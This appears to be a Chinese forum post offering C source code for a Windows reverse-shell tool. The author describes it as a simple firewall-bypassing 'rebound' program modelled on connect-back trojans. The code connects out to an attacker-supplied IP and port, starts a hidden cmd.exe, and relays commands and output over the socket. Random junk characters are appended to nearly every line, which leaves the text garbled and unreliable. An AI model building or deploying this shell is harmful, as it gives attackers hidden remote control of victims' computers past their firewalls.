Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 /dGpac  
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/* ============================== aX CVC<l  
Rebound port in Windows NT r6_g/7.-  
By wind,2006/7 -\=s+n_ZP?  
===============================*/ F/33# U  
#include VZhtx)  
#include (R^X3  
!4Q0   
#pragma comment(lib,"wsock32.lib") kucH=96  

r{oRN  
void OutputShell(); *?Hc8y-dG,  
SOCKET sClient; aY:u-1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5dwC~vn}c  
Lg6;FbY?  
void main(int argc,char **argv) eO7 )LM4  
{ 8zhr;Srt  
WSADATA stWsaData; cg`bbZ  
int nRet; h"O4r8G}  
SOCKADDR_IN stSaiClient,stSaiServer; >JOEp0J  
,j3Yvn W  
if(argc != 3) >~_oSC)E
 
{ 05 56#U&>  
printf("Useage:\n\rRebound DestIP DestPort\n"); R*PR21g  
return;  mE1m  
} oUSv)G.zb  
l-/fFy)T  
WSAStartup(MAKEWORD(2,2),&stWsaData); R3 Zg,YM  
3+:F2sjt  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s>pM+PoGYd  
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stSaiClient.sin_family = AF_INET; y}aKL(AaU  
stSaiClient.sin_port = htons(0); /i:c!l9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a ][t#`  
\tCxz(vKz  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Lp1\vfU<+  
{ nC6 ;:uM  
printf("Bind Socket Failed!\n"); u9c^:O
p  
return; zDK"Y{  
} GpwoS1#)0|  
/Py
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stSaiServer.sin_family = AF_INET; /7[U J'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >~+qU&'2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $X\deJ1Hi  
*WzvPl$e  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @O]v.<8  
{ "+dByaY  
printf("Connect Error!"); -K%hug  
return; n?a?U:  
} >^!)G^B  
OutputShell(); 6j2mr6o  
} J?y0RX  
Xzn}gH]  
void OutputShell() 8u|F %Sg  
{ *@+E82D  
char szBuff[1024]; Z@1vJH6IbA  
SECURITY_ATTRIBUTES stSecurityAttributes; PS:"mP7n  
OSVERSIONINFO stOsversionInfo; ",,W1]"%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6B8gMO  
STARTUPINFO stStartupInfo; Crg@05Z  
char *szShell; vRI0fDu  
PROCESS_INFORMATION stProcessInformation; @sPuc.  
unsigned long lBytesRead; %M7EOa  
U*Sjb% Qb  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r)]8zK4;=  
#_pQS}$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |~]@hs~  
stSecurityAttributes.lpSecurityDescriptor = 0; jA'7@/F/  
stSecurityAttributes.bInheritHandle = TRUE; tX.fbL@T  
]@P!Q&V #  
l$:?82{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qmy3pnL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4Pv Pp{Y  
 I?R?rW
 
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bnzIDsw!Q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E7`Q=4@e  
stStartupInfo.wShowWindow = SW_HIDE; KAI/*G\z  
stStartupInfo.hStdInput = hReadPipe;
@h E7F}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wg}rMJoG|  
4 Q<c I2|  
GetVersionEx(&stOsversionInfo); %=*nJvYS  
is6M{K3  
switch(stOsversionInfo.dwPlatformId) JqTR4[`Z\  
{ Dkyw3*LCn%  
case 1: ~TfN*0  
szShell = "command.com";  8?4/  
break; s2kom)  
default: :ceT8-PBRx  
szShell = "cmd.exe"; Va-.  
break; GNX`~%3KYc  
} ]_js-+w6  
Cj5=UUnO  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0 zn }l6OS  
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|  
send(sClient,szMsg,77,0); h8 !(WO!  
while(1) Qj3l>O
 
{ 8{B]_: -:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $ISx0l~  
if(lBytesRead) _t-e.2a v  
{ N2.(0 G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); spG3"Eodi  
send(sClient,szBuff,lBytesRead,0); MZWicfUy  
} c`s ]ciC  
else (yO8G-Z0  
{ 'z$!9ufY,  
lBytesRead=recv(sClient,szBuff,1024,0); Aa!#=V1d  
if(lBytesRead<=0) break; .T*89cEu  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j21>\K!p  
} a0)]W%F  
} LB\+*P6QM  
;=lQMKx0  
return; @!KG;d:l  
}